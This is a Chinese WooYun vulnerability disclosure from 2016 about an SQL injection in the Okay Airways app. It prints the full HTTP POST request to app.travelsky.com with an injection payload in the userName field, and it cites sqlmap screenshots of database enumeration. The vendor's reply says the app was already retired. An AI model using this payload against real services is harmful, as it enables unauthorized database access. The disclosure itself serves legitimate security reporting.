当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0171874

漏洞标题：航空安全之奥凯航空官方APP里发现的中国民航某注射一枚

相关厂商：奥凯航空

漏洞作者： 路人甲

提交时间：2016-01-22 13:37

修复时间：2016-01-27 10:12

公开时间：2016-01-27 10:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-22： 细节已通知厂商并且等待厂商处理中
2016-01-27： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

APP安全之SQL注入

详细说明：

目标：奥凯航空官方APP
检测发现以下地方存在SQL注入：（POST中的userName）

POST https://app.travelsky.com/ad//webService/message/house.action HTTP/1.1
param: 2f554f71c0a145vs9ag496ng3e2df
Content-Length: 73
Content-Type: text/plain; charset=utf-8
Host: app.travelsky.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; X9180 Build/KVT49L) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: Webtrends=14.155.26.106.1453434535415618
Cookie2: $Version=1
Accept-Encoding: gzip
{"newsId":"20160122564629","operateType":"2","userName":"4555555@qq.com"}


Payload：

POST https://app.travelsky.com/ad//webService/message/house.action HTTP/1.1
param: 2f554f71c0a145vs9ag496ng3e2df
Content-Length: 73
Content-Type: text/plain; charset=utf-8
Host: app.travelsky.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; X9180 Build/KVT49L) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: Webtrends=14.155.26.106.1453434535415618
Cookie2: $Version=1
Accept-Encoding: gzip
{"newsId":"20160122564629","operateType":"2","userName":"4555555@qq.com' or 1=1 and 1=1 -- -"}

漏洞证明：

1、SQLMap漏洞证明

sqlmap.jpg


2、列出当前数据库用户

user.jpg


3、列出所有数据库

db.jpg

修复方案：

请多指教~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-01-27 10:12

厂商回复：

奥凯航空APP已于15年12月正式停止使用，漏洞所列数据库也非我公司所有。但还是非常感谢白帽子对我公司的反馈，谢谢支持！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-01-22 14:49 | 坏男孩-A_A ( 路人 | Rank:23 漏洞数:11 | 膜拜学习中)

    app....